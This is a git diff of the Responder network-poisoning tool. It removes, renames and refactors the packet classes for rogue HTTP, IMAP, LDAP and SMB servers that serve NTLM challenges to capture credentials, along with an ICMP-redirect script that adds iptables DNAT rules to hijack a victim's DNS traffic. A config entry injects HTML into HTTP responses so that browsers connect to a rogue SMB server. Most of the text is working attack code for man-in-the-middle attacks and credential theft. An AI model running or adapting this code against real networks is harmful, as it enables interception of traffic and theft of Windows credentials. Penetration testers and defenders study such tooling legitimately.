"Content-Type: text/html\r\n"), - ("LastModified", "Last-Modified: Wed, 24 Nov 2010 00:39:06 GMT\r\n"), - ("AcceptRanges", "Accept-Ranges: bytes\r\n"), - ("Server", "Server: Microsoft-IIS/7.5\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("ContentLen", "Content-Length: "), - ("ActualLen", "76"), - ("Date", "\r\nDate: Thu, 24 Oct 2013 22:35:46 GMT\r\n"), - ("Connection", "Connection: keep-alive\r\n"), - ("X-CCC", "US\r\n"), - ("X-CID", "2\r\n"), - ("CRLF", "\r\n"), - ("Payload", "jj"), - ]) - def calculate(self): - self.fields["ActualLen"] = len(str(self.fields["Payload"])) - -#HTTP Packet used for further NTLM auth. -class IIS_Auth_407_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Authentication Required\r\n"), - ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "Proxy-Authenticate: NTLM\r\n"), - ("Connection", "Connection: close \r\n"), - ("PConnection", "proxy-Connection: close \r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - -#HTTP NTLM packet. -class IIS_407_NTLM_Challenge_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Authentication Required\r\n"), - ("Via", "Via: 1.1 SMB-TOOLKIT\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWWAuth", "Proxy-Authenticate: NTLM "), - ("Payload", ""), - ("Payload-CRLF", "\r\n"), - ("PoweredBy", "X-Powered-By: SMB-TOOLKIT\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) - - def calculate(self,payload): - self.fields["Payload"] = b64encode(payload) - -#HTTP Basic answer packet. -class IIS_Basic_407_Ans(Packet): - fields = OrderedDict([ - ("Code", "HTTP/1.1 407 Unauthorized\r\n"), - ("ServerType", "Server: Microsoft-IIS/6.0\r\n"), - ("Date", "Date: Wed, 12 Sep 2012 13:06:55 GMT\r\n"), - ("Type", "Content-Type: text/html\r\n"), - ("WWW-Auth", "Proxy-Authenticate: Basic realm=\"ISAServer\"\r\n"), - ("PoweredBy", "X-Powered-By: ASP.NET\r\n"), - ("Len", "Content-Length: 0\r\n"), - ("CRLF", "\r\n"), - ]) diff --git a/IMAPPackets.py b/IMAPPackets.py deleted file mode 100644 index 51f13e8..0000000 --- a/IMAPPackets.py +++ /dev/null @@ -1,55 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - -#IMAP4 Greating class -class IMAPGreating(Packet): - fields = OrderedDict([ - ("Code", "* OK IMAP4 service is ready."), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapability(Packet): - fields = OrderedDict([ - ("Code", "* CAPABILITY IMAP4 IMAP4rev1 AUTH=PLAIN"), - ("CRLF", "\r\n"), - ]) - -#IMAP4 Capability class -class IMAPCapabilityEnd(Packet): - fields = OrderedDict([ - ("Tag", ""), - ("Message", " OK CAPABILITY completed."), - ("CRLF", "\r\n"), - ]) diff --git a/Icmp-Redirect.py b/Icmp-Redirect.py index 98e1355..f94af20 100644 --- a/Icmp-Redirect.py +++ b/Icmp-Redirect.py @@ -26,7 +26,7 @@ from pipes import quote parser = optparse.OptionParser(usage='python %prog -I eth0 -i 10.20.30.40 -g 10.20.30.254 -t 10.20.30.48 -r 10.20.40.1', prog=sys.argv[0], ) -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="Responder_IP") parser.add_option('-g', '--gateway',action="store", help="The ip address of the original gateway (issue the command 'route -n' to know where is the gateway", metavar="10.20.30.254",dest="OriginalGwAddr") @@ -42,7 +42,7 @@ parser.add_option('-a', '--alternate',action="store", help="The alternate gatewa options, args = parser.parse_args() -if options.OURIP is None: +if options.Responder_IP is None: print "-i mandatory option is missing.\n" parser.print_help() exit(-1) @@ -68,10 +68,10 @@ if options.ToThisHost is None: exit(-1) if options.AlternateGwAddr is None: - AlternateGwAddr = options.OURIP + AlternateGwAddr = options.Responder_IP #Setting some vars. -OURIP = options.OURIP +Responder_IP = options.Responder_IP OriginalGwAddr = options.OriginalGwAddr AlternateGwAddr = options.AlternateGwAddr VictimIP = options.VictimIP @@ -84,7 +84,7 @@ def Show_Help(ExtraHelpData): help+= ExtraHelpData print help -MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,OURIP) +MoreHelp = "Note that if the target is Windows, the poisoning will only last for 10mn, you can re-poison the target by launching this utility again\nIf you wish to respond to the traffic, for example DNS queries your target issues, launch this command as root:\n\niptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst %s --dport 53 -j DNAT --to-destination %s:53\n\n"%(ToThisHost,Responder_IP) class Packet(): fields = OrderedDict([ @@ -135,7 +135,7 @@ class ARPWhoHas(Packet): def calculate(self): self.fields["DstIP"] = inet_aton(self.fields["DstIP"]) - self.fields["SenderIP"] = inet_aton(OURIP) + self.fields["SenderIP"] = inet_aton(Responder_IP) ##################################################################### #ICMP Redirect Packets @@ -188,7 +188,7 @@ class ICMPRedir(Packet): def calculate(self): #Set the values - self.fields["GwAddr"] = inet_aton(OURIP) + self.fields["GwAddr"] = inet_aton(Responder_IP) # Then CheckSum this packet CheckSumCalc =str(self.fields["Type"])+str(self.fields["OpCode"])+str(self.fields["CheckSum"])+str(self.fields["GwAddr"])+str(self.fields["Data"]) self.fields["CheckSum"] = GenCheckSum(CheckSumCalc) @@ -244,7 +244,7 @@ def IcmpRedirectSock(DestinationIP): def FindWhatToDo(ToThisHost2): if ToThisHost2 != None: Show_Help('Hit CRTL-C to kill this script') - RunThisInLoop(ToThisHost, ToThisHost2,OURIP) + RunThisInLoop(ToThisHost, ToThisHost2,Responder_IP) if ToThisHost2 == None: Show_Help(MoreHelp) IcmpRedirectSock(DestinationIP=ToThisHost) @@ -253,9 +253,9 @@ def FindWhatToDo(ToThisHost2): def RunThisInLoop(host, host2, ip): dns1 = pipes.quote(host) dns2 = pipes.quote(host2) - ouripadd = pipes.quote(ip) - call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) - call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+ouripadd+":53", shell=True) + Responder_IPadd = pipes.quote(ip) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns1+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True) + call("iptables -A OUTPUT -p ICMP -j DROP && iptables -t nat -A PREROUTING -p udp --dst "+dns2+" --dport 53 -j DNAT --to-destination "+Responder_IPadd+":53", shell=True) print "[+]Automatic mode enabled\nAn iptable rules has been added for both DNS servers." while True: IcmpRedirectSock(DestinationIP=dns1) diff --git a/LDAPPackets.py b/LDAPPackets.py deleted file mode 100644 index 7de4409..0000000 --- a/LDAPPackets.py +++ /dev/null @@ -1,238 +0,0 @@ -#! /usr/bin/env python -# NBT-NS/LLMNR Responder -# Created by Laurent Gaffie -# Copyright (C) 2014 Trustwave Holdings, Inc. -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . - -import struct -from odict import OrderedDict - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -class LDAPSearchDefaultPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLen", "\x0c"), - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x0f"), - ("OpHeadASNID", "\x65"), - ("OpHeadASNIDLen", "\x07"), - ("SearchDoneSuccess", "\x0A\x01\x00\x04\x00\x04\x00"),#No Results. - ]) - -class LDAPSearchSupportedCapabilitiesPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x7e"),#126 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x75"),#117 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x6d"),#109 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x67"),#103 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x15"),#21 - ("SearchAttribASN2Str", "supportedCapabilities"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x4a"), - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x16"),#22 - ("SearchAttrib1ASNStr", "1.2.840.113556.1.4.800"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x17"),#23 - ("SearchAttrib2ASNStr", "1.2.840.113556.1.4.1670"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x17"),#23 - ("SearchAttrib3ASNStr", "1.2.840.113556.1.4.1791"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPSearchSupportedMechanismsPacket(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\x60"),#96 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x64"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\x57"),#87 - ("ObjectName", "\x04\x00"), - ("SearchAttribASNID", "\x30"), - ("SearchAttribASNLenOfLen", "\x84"), - ("SearchAttribASNLen", "\x00\x00\x00\x4f"),#79 - ("SearchAttribASNID1", "\x30"), - ("SearchAttribASN1LenOfLen", "\x84"), - ("SearchAttribASN1Len", "\x00\x00\x00\x49"),#73 - ("SearchAttribASN2ID", "\x04"), - ("SearchAttribASN2Len", "\x17"),#23 - ("SearchAttribASN2Str", "supportedSASLMechanisms"), - ("SearchAttribASN3ID", "\x31"), - ("SearchAttribASN3LenOfLen", "\x84"), - ("SearchAttribASN3Len", "\x00\x00\x00\x2a"),#42 - ("SearchAttrib1ASNID", "\x04"), - ("SearchAttrib1ASNLen", "\x06"),#6 - ("SearchAttrib1ASNStr", "GSSAPI"), - ("SearchAttrib2ASNID", "\x04"), - ("SearchAttrib2ASNLen", "\x0a"),#10 - ("SearchAttrib2ASNStr", "GSS-SPNEGO"), - ("SearchAttrib3ASNID", "\x04"), - ("SearchAttrib3ASNLen", "\x08"),#8 - ("SearchAttrib3ASNStr", "EXTERNAL"), - ("SearchAttrib4ASNID", "\x04"), - ("SearchAttrib4ASNLen", "\x0a"),#10 - ("SearchAttrib4ASNStr", "DIGEST-MD5"), - ("SearchDoneASNID", "\x30"), - ("SearchDoneASNLenOfLen", "\x84"), - ("SearchDoneASNLen", "\x00\x00\x00\x10"),#16 - ("MessageIDASN2ID", "\x02"), - ("MessageIDASN2Len", "\x01"), - ("MessageIDASN2Str", "\x02"), - ("SearchDoneStr", "\x65\x84\x00\x00\x00\x07\x0a\x01\x00\x04\x00\x04\x00"), - ## No need to calculate anything this time, this packet is generic. - ]) - -class LDAPNTLMChallenge(Packet): - fields = OrderedDict([ - ("ParserHeadASNID", "\x30"), - ("ParserHeadASNLenOfLen", "\x84"), - ("ParserHeadASNLen", "\x00\x00\x00\xD0"),#208 - ("MessageIDASNID", "\x02"), - ("MessageIDASNLen", "\x01"), - ("MessageIDASNStr", "\x02"), - ("OpHeadASNID", "\x61"), - ("OpHeadASNIDLenOfLen", "\x84"), - ("OpHeadASNIDLen", "\x00\x00\x00\xc7"),#199 - ("Status", "\x0A"), - ("StatusASNLen", "\x01"), - ("StatusASNStr", "\x0e"), #In Progress. - ("MatchedDN", "\x04\x00"), #Null - ("ErrorMessage", "\x04\x00"), #Null - ("SequenceHeader", "\x87"), - ("SequenceHeaderLenOfLen", "\x81"), - ("SequenceHeaderLen", "\x82"), #188 - ("NTLMSSPSignature", "NTLMSSP"), - ("NTLMSSPSignatureNull", "\x00"), - ("NTLMSSPMessageType", "\x02\x00\x00\x00"), - ("NTLMSSPNtWorkstationLen","\x1e\x00"), - ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), - ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), - ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), - ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), - ("NTLMSSPNtTargetInfoLen","\x94\x00"), - ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), - ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionHigh","\x05"), - ("NegTokenInitSeqMechMessageVersionLow","\x02"), - ("NegTokenInitSeqMechMessageVersionBuilt","\xce\x0e"), - ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), - ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), - ("NTLMSSPNtWorkstationName","SMB12"), - ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), - ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), - ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","smb12"), - ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), - ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","SERVER2008"), - ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), - ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), - ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","SERVER2008.smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), - ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), - ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","smb12.local"), - ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), - ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), - ]) - - def calculate(self): - - ##Convert strings to Unicode first... - self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode('utf-16le') - self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode('utf-16le') - - ###### Workstation Offset - CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) - - ###### AvPairs Offset - CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) - - ###### LDAP Packet Len - CalculatePacketLen = str(self.fields["MessageIDASNID"])+str(self.fields["MessageIDASNLen"])+str(self.fields["MessageIDASNStr"])+str(self.fields["OpHeadASNID"])+str(self.fields["OpHeadASNIDLenOfLen"])+str(self.fields["OpHeadASNIDLen"])+str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - - OperationPacketLen = str(self.fields["Status"])+str(self.fields["StatusASNLen"])+str(self.fields["StatusASNStr"])+str(self.fields["MatchedDN"])+str(self.fields["ErrorMessage"])+str(self.fields["SequenceHeader"])+str(self.fields["SequenceHeaderLen"])+str(self.fields["SequenceHeaderLenOfLen"])+CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - NTLMMessageLen = CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"])+CalculateLenAvpairs - - ##### LDAP Len Calculation: - self.fields["ParserHeadASNLen"] = struct.pack(">i", len(CalculatePacketLen)) - self.fields["OpHeadASNIDLen"] = struct.pack(">i", len(OperationPacketLen)) - self.fields["SequenceHeaderLen"] = struct.pack(">B", len(NTLMMessageLen)) - - ##### Workstation Offset Calculation: - self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("i", len(''.join(payload))) - return length - -class Packet(): - fields = OrderedDict([ - ("data", ""), - ]) - def __init__(self, **kw): - self.fields = OrderedDict(self.__class__.fields) - for k,v in kw.items(): - if callable(v): - self.fields[k] = v(self.fields[k]) - else: - self.fields[k] = v - def __str__(self): - return "".join(map(str, self.fields.values())) - - -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), - ("flag1", "\x08"), - ("flag2", "\x01\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\x3c\x1b"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -class SMBNegoData(Packet): - fields = OrderedDict([ - ("wordcount", "\x00"), - ("bcc", "\x54\x00"), - ("separator1","\x02" ), - ("dialect1", "\x50\x43\x20\x4e\x45\x54\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31\x2e\x30\x00"), - ("separator2","\x02"), - ("dialect2", "\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"), - ]) - def calculate(self): - CalculateBCC = str(self.fields["separator1"])+str(self.fields["dialect1"])+str(self.fields["separator2"])+str(self.fields["dialect2"]) - self.fields["bcc"] = struct.pack("i", len(''.join(payload))) - return length class SMBHeader(Packet): fields = OrderedDict([ ("proto", "\xff\x53\x4d\x42"), ("cmd", "\x72"), - ("error-code", "\x00\x00\x00\x00" ), + ("errorcode", "\x00\x00\x00\x00"), ("flag1", "\x00"), ("flag2", "\x00\x00"), ("pidhigh", "\x00\x00"), ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("reserved", "\x00\x00"), ("tid", "\x00\x00"), - ("pid", "\x00\x4e"), - ("uid", "\x00\x08"), + ("pid", "\x00\x00"), + ("uid", "\x00\x00"), ("mid", "\x00\x00"), ]) @@ -285,7 +278,6 @@ class SMBDCESVCCTLOpenManagerW(Packet): ## Convert to UTF-16LE self.fields["MachineName"] = self.fields["MachineName"].encode('utf-16le') - class SMBDCESVCCTLCreateService(Packet): fields = OrderedDict([ ("ContextHandle", ""), @@ -332,8 +324,6 @@ class SMBDCESVCCTLCreateService(Packet): self.fields["BinCMD"] = self.fields["BinCMD"].encode('utf-16le') self.fields["BintoEnd"] = self.fields["BintoEnd"].encode('utf-16le') - - class SMBDCESVCCTLOpenService(Packet): fields = OrderedDict([ ("ContextHandle", ""), @@ -361,120 +351,4 @@ class SMBDCESVCCTLStartService(Packet): def ParseAnswerKey(data,host): key = data[73:81] print "Key retrieved is:%s from host:%s"%(key.encode("hex"),host) - return key - -################################################################################## -#SMB Server Stuff -################################################################################## - -#Calculate total SMB packet len. -def longueur(payload): - length = struct.pack(">i", len(''.join(payload))) - return length - -#Set MID SMB Header field. -def midcalc(data): - pack=data[34:36] - return pack - -#Set UID SMB Header field. -def uidcalc(data): - pack=data[32:34] - return pack - -#Set PID SMB Header field. -def pidcalc(data): - pack=data[30:32] - return pack - -#Set TID SMB Header field. -def tidcalc(data): - pack=data[28:30] - return pack - -#SMB Header answer packet. -class SMBHeader(Packet): - fields = OrderedDict([ - ("proto", "\xff\x53\x4d\x42"), - ("cmd", "\x72"), - ("errorcode", "\x00\x00\x00\x00" ), - ("flag1", "\x80"), - ("flag2", "\x00\x00"), - ("pidhigh", "\x00\x00"), - ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"), - ("reserved", "\x00\x00"), - ("tid", "\x00\x00"), - ("pid", "\xff\xfe"), - ("uid", "\x00\x00"), - ("mid", "\x00\x00"), - ]) - -#SMB Negotiate Answer packet. -class SMBNegoAns(Packet): - fields = OrderedDict([ - ("Wordcount", "\x11"), - ("Dialect", ""), - ("Securitymode", "\x03"), - ("MaxMpx", "\x32\x00"), - ("MaxVc", "\x01\x00"), - ("Maxbuffsize", "\x04\x11\x00\x00"), - ("Maxrawbuff", "\x00\x00\x01\x00"), - ("Sessionkey", "\x00\x00\x00\x00"), - ("Capabilities", "\xfd\x43\x00\x00"), - ("Systemtime", "\xc2\x74\xf2\x53\x70\x02\xcf\x01\x2c\x01"), - ("Keylength", "\x08"), - ("Bcc", "\x10\x00"), - ("Key", "\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d"), - ("Domain", ""), - - ]) - - def calculate(self): - - ##Then calculate. - CompleteBCCLen = str(self.fields["Key"])+str(self.fields["Domain"]) - self.fields["Bcc"] = struct.pack(" Payload goes here...". -HTMLToServe = Loading + +; HTML answer to inject in HTTP responses (before tag). +; In this example, we redirect make users' browsers issue a request to our rogue SMB server. +HTMLToServe = Loading + + [HTTPS Server] -; -;Change to use your certs -cert = Certs/responder.crt -key = Certs/responder.key -; - +; Configure SSL Certificates to use +SSLCert = certs/responder.crt +SSLKey = certs/responder.key diff --git a/Responder.py b/Responder.py index c70ab16..f761c3b 100755 --- a/Responder.py +++ b/Responder.py @@ -16,2706 +16,293 @@ # You should have received a copy of the GNU General Public License # along with this program. If not, see . -import sys,struct,SocketServer,re,optparse,socket,thread,Fingerprint,random,os,ConfigParser,BaseHTTPServer, select,urlparse,zlib, string, time -from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler,BaseServer -from Fingerprint import RunSmbFinger,OsNameClientVersion -from odict import OrderedDict -from socket import inet_aton -from random import randrange +import sys +import optparse +import socket +import thread +import time +import logging +import settings -VERSION = 'Responder 2.1.2' -parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version = VERSION, - prog=sys.argv[0], - ) -parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests from which workstation to which workstation without poisoning anything.", dest="Analyse") +from SocketServer import TCPServer, UDPServer, ThreadingMixIn, StreamRequestHandler, BaseRequestHandler, BaseServer +from utils import * -parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", metavar="10.20.30.40",dest="OURIP") - -parser.add_option('-I','--interface', action="store", help="Network interface to use", metavar="eth0", dest="INTERFACE", default="Not set") - -parser.add_option('-b', '--basic',action="store_true", help="Set this if you want to return a Basic HTTP authentication. If not set, an NTLM authentication will be returned.", dest="Basic", default=False) - -parser.add_option('-r', '--wredir',action="store_true", help="Set this to enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network (like classics 'nbns spoofer' would). Default value is therefore set to False", dest="Wredirect", default=False) - -parser.add_option('-d', '--NBTNSdomain',action="store_true", help="Set this to enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network (like a classic 'nbns spoofer' would). Default value is therefore set to False",dest="NBTNSDomain", default=False) - -parser.add_option('-f','--fingerprint', action="store_true", dest="Finger", help = "This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", default=False) - -parser.add_option('-w','--wpad', action="store_true", dest="WPAD_On_Off", help = "Set this to start the WPAD rogue proxy server. Default value is False", default=False) +banner() +parser = optparse.OptionParser(usage='python %prog -i 10.20.30.40 -w -r -f\nor:\npython %prog -i 10.20.30.40 -wrf', version=settings.__version__, prog=sys.argv[0]) +parser.add_option('-A','--analyze', action="store_true", help="Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding.", dest="Analyze", default=False) +parser.add_option('-i','--ip', action="store", help="The ip address to redirect the traffic to. (usually yours)", dest="Responder_IP", metavar="10.20.30.40") +parser.add_option('-I','--interface', action="store", help="Network interface to use", dest="Interface", metavar="eth0", default="Not set") +parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) 